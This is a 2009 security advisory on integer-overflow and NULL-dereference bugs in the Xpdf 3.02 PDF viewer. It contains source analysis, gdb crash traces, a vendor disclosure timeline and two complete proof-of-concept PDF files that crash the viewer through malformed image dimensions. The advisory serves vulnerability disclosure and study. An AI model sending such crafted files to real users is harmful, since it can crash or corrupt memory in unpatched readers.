Name: Xpdf - Integer overflow which causes heap overflow and NULL pointer derefernce
Author: Adam Zabrocki / HISPASEC (<[email protected]> or <[email protected]>) Date: July 06, 2009 Issue: Xpdf allows local and remote attackers to overflow buffer on heap via integer overflow vulnerability. Xpdf is prone to NULL pointer dereference attack. Description: Xpdf is an open-source viewer for Portable Document Format (PDF) files. Xpdf project also includes a PDF text extractor, PDF-to-PostScript converter, and various other utilities. Xpdf runs under the X Window System on UNIX, VMS, and OS/2. The non-X components (pdftops, pdftotext, etc.) also run on Win32 systems and should run on pretty much any system with a decent C++ compiler. Xpdf is designed to be small and efficient. It can use Type 1, TrueType, or standard X fonts. Details: Let's look in code: "./goo/gmem.cc" void *gmalloc(int size) GMEM_EXCEP { #ifdef DEBUG_MEM ... #else void *p; if (size < 0) { #if USE_EXCEPTIONS ... #else fprintf(stderr, "Invalid memory allocation size\n"); exit(1); #endif } if (size == 0) { return NULL; } if (!(p = malloc(size))) { #if USE_EXCEPTIONS ... #else fprintf(stderr, "Out of memory\n"); exit(1); #endif } return p; #endif } Ok. So if we pass negative value to gmalloc() than xpdf finish work via exit() call and print to stderr "Invalid memory allocation size\n". If we pass 0 (zero) value than function return NULL. In other cases there will be normal call to malloc() func. Ok so let's look further. "./splash/Splash.cc" SplashError Splash::drawImage(SplashImageSource src, void *srcData, SplashColorMode srcMode, GBool srcAlpha, int w, int h, SplashCoord *mat) { ... ... SplashClipResult clipRes, clipRes2; int yp, yq, yt, yStep, lastYStep; int xp, xq, xt, xStep, xSrc; ... SplashColorPtr colorBuf, p; ... #if SPLASH_CMYK int pixAcc0, pixAcc1, pixAcc2, pixAcc3; #else int pixAcc0, pixAcc1, pixAcc2; #endif ... int nComps, n, m, i, j; ... // check color modes ok = gFalse; // make gcc happy nComps = 0; // make gcc happy switch (bitmap->mode) { case splashModeMono1: case splashModeMono8: ok = srcMode == splashModeMono8; nComps = 1; break; case splashModeRGB8: ok = srcMode == splashModeRGB8; nComps = 3; break; case splashModeBGR8: ok = srcMode == splashModeBGR8; nComps = 3; break; #if SPLASH_CMYK case splashModeCMYK8: ok = srcMode == splashModeCMYK8; nComps = 4; break; #endif } if (!ok) { return splashErrModeMismatch; } ... ... // compute Bresenham parameters for x and y scaling yp = h / scaledHeight; yq = h % scaledHeight; xp = w / scaledWidth; xq = w % scaledWidth; colorBuf = (SplashColorPtr)gmalloc((yp + 1) * w * nComps); <- [1] !!! if (srcAlpha) { alphaBuf = (Guchar *)gmalloc((yp + 1) * w); } else { alphaBuf = NULL; } pixAcc0 = pixAcc1 = pixAcc2 = 0; // make gcc happy ... ... if (srcAlpha) { ... <BIG code> ... } else { // init y scale Bresenham yt = 0; lastYStep = 1; for (y = 0; y < scaledHeight; ++y) { // y scale Bresenham yStep = yp; yt += yq; if (yt >= scaledHeight) { yt -= scaledHeight; ++yStep; } // read row(s) from image n = (yp > 0) ? yStep : lastYStep; if (n > 0) { p = colorBuf; for (i = 0; i < n; ++i) { (*src)(srcData, p, NULL); <- [!!] !!! p += w * nComps; } } ... <now we will be looking in code for splashModeRGB8 and splashModeBGR8> ... switch (srcMode) { ... ... case splashModeRGB8: case splashModeBGR8: for (x = 0; x < scaledWidth; ++x) { // x scale Bresenham xStep = xp; xt += xq; if (xt >= scaledWidth) { xt -= scaledWidth; ++xStep; } ... ... // compute the filtered pixel at (x,y) after the x and y scaling // operations m = xStep > 0 ? xStep : 1; p = colorBuf + xSrc * 3; <- [2] !!! pixAcc0 = pixAcc1 = pixAcc2 = 0; for (i = 0; i < n; ++i) { for (j = 0; j < m; ++j) { pixAcc0 += *p++; <- [3] !!! pixAcc1 += *p++; pixAcc2 += *p++; } p += 3 * (w - m); } ... ... <BIG code> ... ... } We immediately control variable "w" and "h". So if we set variable "w" to value zero (0). After that call to gmalloc (in [1]) will return NULL. There is no check what value was returned! So in [2] we have p = NULL + xSrc*3, xSrc we can set to 0 (zero) too. So in fact we can set "p" to NULL value. In [3] we have NULL pointer dereference! Ok let's look for other scenario. What will happen if variable "w" have BIG value? Let's look: (yp + 1) * w * nComps "w" we can control immediately, "nComps" have some static value and "yp" we can controle indirectly because: yp = h / scaledHeight; "h" we control once again immediately! So in fact we can do integer overflow and allocate less memory than it should be. For example: h = 2000000000 w = 1102 nComps = 3 yp / scaledHeight = 15873015, for standard scaledHeight = 126 so it should be => (15873015+1)*1102*3 = 15873016*1102*3 = 52476190896 but in fact after integer overflow it is: yp[15873015]+1)*w[1102]*nComps[3] = 936583344 So it is too little :) In this scenario after call to gmalloc() program will go after some instruction to code in [!!]. in fact this is call to some pointer which redirect us to function... "xpdf/SplashOutputDev.cc" GBool SplashOutputDev::imageSrc(void *data, SplashColorPtr colorLine, Guchar *alphaLine) { SplashOutImageData *imgData = (SplashOutImageData *)data; ... SplashColorPtr q, col; ... int nComps, x; ... if (imgData->lookup) { switch (imgData->colorMode) { ... ... case splashModeRGB8: case splashModeBGR8: for (x = 0, p = imgData->imgStr->getLine(), q = colorLine; x < imgData->width; ++x, p += nComps) { imgData->colorMap->getRGB(p, &rgb); *q++ = colToByte(rgb.r); *q++ = colToByte(rgb.g); *q++ = colToByte(rgb.b); } break; ... ... } And here is overflow! We have too little allocated memory but program don't know about it and try to convert colors and write in this memory by call: *q++ = colToByte(rgb.r); *q++ = colToByte(rgb.g); *q++ = colToByte(rgb.b); and the end of working loop is via this compare: x < imgData->width; So we overflow memory. Proof of concept Let's try to do this scenario: [r...@pi3book xpdf-3.02]# xpdf elo.pdf Error: PDF file is damaged - attempting to reconstruct xref table... Naruszenie ochrony pamięci [r...@pi3book xpdf-3.02]# and gdb output: (gdb) bt #0 0x080c222a in SplashOutputDev::imageSrc (data=0xbfffec84, colorLine=0xb7fe46de '�' <repeats 200 times>..., alphaLine=0x0) at SplashOutputDev.cc:1848 #1 0x080fedc0 in Splash::drawImage (this=0x81e5878, src=0x80c20d0 <SplashOutputDev::imageSrc(void*, unsigned char*, unsigned char*)>, srcData=0xbfffec84, srcMode=splashModeRGB8, srcAlpha=0, w=1102, h=2000000000, mat=0xbfffec50) at Splash.cc:2532 #2 0x080c1d1f in SplashOutputDev::drawImage (this=0x81bd0f8, state=0x81f0050, ref=0xbfffeebc, str=0x81f0960, width=1102, height=2000000000, colorMap=0x81f8ea0, maskColors=0x0, inlineImg=0) at SplashOutputDev.cc:2048 #3 0x080601d9 in Gfx::doImage (this=0x81e5528, ref=0xbfffeebc, str=0x81f0960, inlineImg=0) at Gfx.cc:3657 #4 0x08066799 in Gfx::opXObject (this=0x81e5528, args=0xbfffef34, numArgs=1) at Gfx.cc:3330 #5 0x080612bd in Gfx::go (this=0x81e5528, topLevel=1) at Gfx.cc:581 #6 0x080615ea in Gfx::display (this=0x81e5528, obj=0xbffff1ac, topLevel=1) at Gfx.cc:553 #7 0x080a55cb in Page::displaySlice (this=0x81df9f0, out=0x81bd0f8, hDPI=90, vDPI=90, rotate=0, useMediaBox=0, crop=1, sliceX=0, sliceY=0, sliceW=744, sliceH=1052, printing=0, catalog=0x81de638, abortCheckCbk=0, abortCheckCbkData=0x0) at Page.cc:317 #8 0x080aa485 in PDFCore::needTile (this=0x81bcab8, page=0x81e5468, x=0, y=0) at PDFCore.cc:835 #9 0x080abc77 in PDFCore::update (this=0x81bcab8, topPageA=1, scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at PDFCore.cc:658 #10 0x080de837 in XPDFCore::update (this=0x81bcab8, topPageA=1, scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at XPDFCore.cc:285 #11 0x080a6861 in PDFCore::displayPage (this=0xbfffe88c, topPageA=1, zoomA=125, rotateA=0, scrollToTop=1, addToHist=1) at PDFCore.cc:292 #12 0x080ea80a in XPDFViewer (this=0x81a35f8, appA=0x8180298, fileName=0x8182b00, pageA=1, destName=0x0, fullScreen=0, ownerPassword=0x0, userPassword=0x0) at XPDFViewer.cc:297 #13 0x080dafe0 in XPDFApp::open (this=0x8180298, fileName=0x8182b00, page=1, ownerPassword=0x0, userPassword=0x0) at XPDFApp.cc:228 #14 0x080edcbb in main (argc=Cannot access memory at address 0x0 ) at xpdf.cc:311 (gdb) x/i $eip 0x80c222a <_ZN15SplashOutputDev8imageSrcEPvPhS1_+346>: mov %al,0x1(%ebx) (gdb) i r ebx ebx 0xb7fe4fff -1208070145 (gdb) x/x $ebx 0xb7fe4fff: Cannot access memory at address 0xb7fe4fff (gdb) print q $1 = (Guchar *) 0xb7fe4fff "�" <Address 0xb7fe5000 out of bounds> (gdb) print x $2 = 780 (gdb) print ((SplashOutImageData *)data)->width $3 = 1102 (gdb) up #1 0x080fedc0 in Splash::drawImage (this=0x81e5878, src=0x80c20d0 <SplashOutputDev::imageSrc(void*, unsigned char*, unsigned char*)>, srcData=0xbfffec84, srcMode=splashModeRGB8, srcAlpha=0, w=1102, h=2000000000, mat=0xbfffec50) at Splash.cc:2532 2532 (*src)(srcData, p, NULL); (gdb) print colorBuf $4 = ( SplashColorPtr) 0x7ffae008 "\204��a\210�a\210�a\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210�`\210"... (gdb) print w $5 = 1102 (gdb) print h $6 = 2000000000 (gdb) print nComps $7 = 3 (gdb) list 2527 // read row(s) from image 2528 n = (yp > 0) ? yStep : lastYStep; 2529 if (n > 0) { 2530 p = colorBuf; 2531 for (i = 0; i < n; ++i) { 2532 (*src)(srcData, p, NULL); 2533 p += w * nComps; 2534 } 2535 } 2536 lastYStep = yStep; (gdb) print n $8 = 15873015 (gdb) print p $9 = (Guchar *) 0xb7fe46de '�' <repeats 200 times>... (gdb) So it is exactly what we analyze source :) Look now what will happen when variable "w" have value 0 (zero) - in fact now we will have NULL pointer dereference. Let's look: [r...@pi3book xpdf-3.02]# xpdf jajo.pdf Error: PDF file is damaged - attempting to reconstruct xref table... Naruszenie ochrony pamięci (core dumped) [r...@pi3book xpdf-3.02]# and gdb output: (gdb) bt #0 Splash::drawImage (this=0x81e58e0, src=0x80c20d0 <SplashOutputDev::imageSrc(void*, unsigned char*, unsigned char*)>, srcData=0xbfffec84, srcMode=splashModeRGB8, srcAlpha=0, w=0, h=2000000000, mat=0xbfffec50) at Splash.cc:2667 #1 0x080c1d1f in SplashOutputDev::drawImage (this=0x81bd100, state=0x81f0090, ref=0xbfffeebc, str=0x81f09c0, width=0, height=2000000000, colorMap=0x81f8f00, maskColors=0x0, inlineImg=0) at SplashOutputDev.cc:2048 #2 0x080601d9 in Gfx::doImage (this=0x81e54c8, ref=0xbfffeebc, str=0x81f09c0, inlineImg=0) at Gfx.cc:3657 #3 0x08066799 in Gfx::opXObject (this=0x81e54c8, args=0xbfffef34, numArgs=1) at Gfx.cc:3330 #4 0x080612bd in Gfx::go (this=0x81e54c8, topLevel=1) at Gfx.cc:581 #5 0x080615ea in Gfx::display (this=0x81e54c8, obj=0xbffff1ac, topLevel=1) at Gfx.cc:553 #6 0x080a55cb in Page::displaySlice (this=0x81dfa08, out=0x81bd100, hDPI=90, vDPI=90, rotate=0, useMediaBox=0, crop=1, sliceX=0, sliceY=0, sliceW=744, sliceH=1052, printing=0, catalog=0x81de718, abortCheckCbk=0, abortCheckCbkData=0x0) at Page.cc:317 #7 0x080aa485 in PDFCore::needTile (this=0x81bcac0, page=0x81e5408, x=0, y=0) at PDFCore.cc:835 #8 0x080abc77 in PDFCore::update (this=0x81bcac0, topPageA=1, scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at PDFCore.cc:658 #9 0x080de837 in XPDFCore::update (this=0x81bcac0, topPageA=1, scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at XPDFCore.cc:285 #10 0x080a6861 in PDFCore::displayPage (this=0x0, topPageA=1, zoomA=125, rotateA=0, scrollToTop=1, addToHist=1) at PDFCore.cc:292 #11 0x080ea80a in XPDFViewer (this=0x81a35f8, appA=0x8180298, fileName=0x8182b00, pageA=1, destName=0x0, fullScreen=0, ownerPassword=0x0, userPassword=0x0) at XPDFViewer.cc:297 #12 0x080dafe0 in XPDFApp::open (this=0x8180298, fileName=0x8182b00, page=1, ownerPassword=0x0, userPassword=0x0) at XPDFApp.cc:228 #13 0x080edcbb in main (argc=Cannot access memory at address 0x0 ) at xpdf.cc:311 (gdb) print w $1 = 0 (gdb) print i $2 = 0 (gdb) print j $3 = 0 (gdb) print n $4 = 15873015 (gdb) print m $5 = 1 (gdb) print p $6 = (Guchar *) 0x0 (gdb) print pixAcc0 $7 = 0 (gdb) x/i $eip 0x80ff720 <_ZN6Splash9drawImageEPFiPvPhS1_ES0_15SplashColorModeiiiPd+9488>: movzbl (%ebx),%eax (gdb) i r ebx ebx 0x0 0 (gdb) x/x $ebx 0x0: Cannot access memory at address 0x0 (gdb) That's all. Everything is exacly what we analyse. [1] - NULL pointer dereference: -------------- xpdf-poc-null-pointer-dereference.pdf ------------- %PDF-1.3 % 'BasicFonts': class PDFDictionary 1 0 obj % The standard fonts dictionary << /F1 2 0 R >> endobj % 'F1': class PDFType1Font 2 0 obj % Font Helvetica << /BaseFont /Helvetica /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font >> endobj % 'FormXob.322a89588a84510d9b1b6ec68c3b4437': class PDFImageXObject 3 0 obj << /BitsPerComponent 8 /ColorSpace /DeviceRGB /Filter [ /ASCII85Decode /FlateDecode ] /Height 2000000000 /Length 61 /Subtype /Image /Type /XObject /Width 0 >> stream GarPPGWE%h$j7l8U/<b)7aWX$5Y7NE=r1HcE+b-(;)F/"d9oEm?)I\-b23C~>endstream endobj % 'Page1': class PDFPage 4 0 obj % Page dictionary << /Contents 8 0 R /MediaBox [ 0 0 595.2756 841.8898 ] /Parent 7 0 R /Resources << /Font 1 0 R /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ] /XObject << /FormXob.322a89588a84510d9b1b6ec68c3b4437 3 0 R >> >> /Rotate 0 /Trans << >> /Type /Page >> endobj % 'R5': class PDFCatalog 5 0 obj % Document Root << /Outlines 9 0 R /PageMode /UseNone /Pages 7 0 R /Type /Catalog >> endobj % 'R6': class PDFInfo 6 0 obj << /Author (anonymous) /CreationDate (20090525000415) /Keywords () /Producer (ReportLab http://www.reportlab.com) /Subject (unspecified) /Title (untitled) >> endobj % 'R7': class PDFPages 7 0 obj % page tree << /Count 1 /Kids [ 4 0 R ] /Type /Pages >> endobj % 'R8': class PDFStream 8 0 obj % page stream << /Filter [ /ASCII85Decode /FlateDecode ] /Length 137 >> stream Gap(;0b2&S&-vlomlt2hjnbibqssfp1e...@g>'<K)ZW1TUhKc(%Rpp=t5hkIT:&HH9nYhU`6Inl-6"Js0J5ePfhLZm8G)YG;4cqkJ;Rf)cZMkCEB*ZoFeK5S8`19G:#!aWM18.~>endstream endobj % 'R9': class PDFOutlines 9 0 obj << /Count 0 /Type /Outlines >> endobj xref 0 10 0000000000 65535 f 0000000113 00000 n 0000000209 00000 n 0000000415 00000 n 0000000710 00000 n 0000001052 00000 n 0000001186 00000 n 0000001397 00000 n 0000001502 00000 n 0000001783 00000 n trailer << /ID % ReportLab generated PDF document -- digest (http://www.reportlab.com) [(xZ\271\226b\372\015\305\017\211\022\241\262?\243\347) (xZ\271\226b\372\015\305\017\211\022\241\262?\243\347)] /Info 6 0 R /Root 5 0 R /Size 10 >> startxref 1834 %%EOF -------------- xpdf-poc-null-pointer-dereference.pdf ------------- [2] - Integer overflow: -------------- xpdf-poc-integer-overflow.pdf ------------- %PDF-1.3 % 'BasicFonts': class PDFDictionary 1 0 obj % The standard fonts dictionary << /F1 2 0 R >> endobj % 'F1': class PDFType1Font 2 0 obj % Font Helvetica << /BaseFont /Helvetica /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font >> endobj % 'FormXob.322a89588a84510d9b1b6ec68c3b4437': class PDFImageXObject 3 0 obj << /BitsPerComponent 8 /ColorSpace /DeviceRGB /Filter [ /ASCII85Decode /FlateDecode ] /Height 2000000000 /Length 61 /Subtype /Image /Type /XObject /Width 1102 >> stream GarPPGWE%h$j7l8U/<b)7aWX$5Y7NE=r1HcE+b-(;)F/"d9oEm?)I\-b23C~>endstream endobj % 'Page1': class PDFPage 4 0 obj % Page dictionary << /Contents 8 0 R /MediaBox [ 0 0 595.2756 841.8898 ] /Parent 7 0 R /Resources << /Font 1 0 R /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ] /XObject << /FormXob.322a89588a84510d9b1b6ec68c3b4437 3 0 R >> >> /Rotate 0 /Trans << >> /Type /Page >> endobj % 'R5': class PDFCatalog 5 0 obj % Document Root << /Outlines 9 0 R /PageMode /UseNone /Pages 7 0 R /Type /Catalog >> endobj % 'R6': class PDFInfo 6 0 obj << /Author (anonymous) /CreationDate (20090525000415) /Keywords () /Producer (ReportLab http://www.reportlab.com) /Subject (unspecified) /Title (untitled) >> endobj % 'R7': class PDFPages 7 0 obj % page tree << /Count 1 /Kids [ 4 0 R ] /Type /Pages >> endobj % 'R8': class PDFStream 8 0 obj % page stream << /Filter [ /ASCII85Decode /FlateDecode ] /Length 137 >> stream Gap(;0b2&S&-vlomlt2hjnbibqssfp1e...@g>'<K)ZW1TUhKc(%Rpp=t5hkIT:&HH9nYhU`6Inl-6"Js0J5ePfhLZm8G)YG;4cqkJ;Rf)cZMkCEB*ZoFeK5S8`19G:#!aWM18.~>endstream endobj % 'R9': class PDFOutlines 9 0 obj << /Count 0 /Type /Outlines >> endobj xref 0 10 0000000000 65535 f 0000000113 00000 n 0000000209 00000 n 0000000415 00000 n 0000000710 00000 n 0000001052 00000 n 0000001186 00000 n 0000001397 00000 n 0000001502 00000 n 0000001783 00000 n trailer << /ID % ReportLab generated PDF document -- digest (http://www.reportlab.com) [(xZ\271\226b\372\015\305\017\211\022\241\262?\243\347) (xZ\271\226b\372\015\305\017\211\022\241\262?\243\347)] /Info 6 0 R /Root 5 0 R /Size 10 >> startxref 1834 %%EOF -------------- xpdf-poc-integer-overflow.pdf ------------- Greets Guys from HISPASEC, snoop, thorkill, Piotr Bania, guys from SecurityReason, #lam...@ircnet and #plh...@ircnet Disclaimer This document and all the information it contains is provided "as is", without any warranty. The author is not responsible for the misuse of the information provided in this advisory. The advisory is provided for educational purposes only. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact. Ending words... That's all. I test it on version 3.02 with all security patches. Probably all versions are vulnerability. Thanks and Best regards Adam Zabrocki (pi3 / pi3ki31ny). Disclosure Timeline *) 14 October, 2009 - Vendor release patch ... ... *) 27 Jult, 2009 - replay with vendor *) 23 Jult, 2009 - contact with vendor *) 06 July, 2009 - exploit bug and write advisory *) 04 July, 2009 - found bug -- http://hispasec.com http://pi3.com.pl
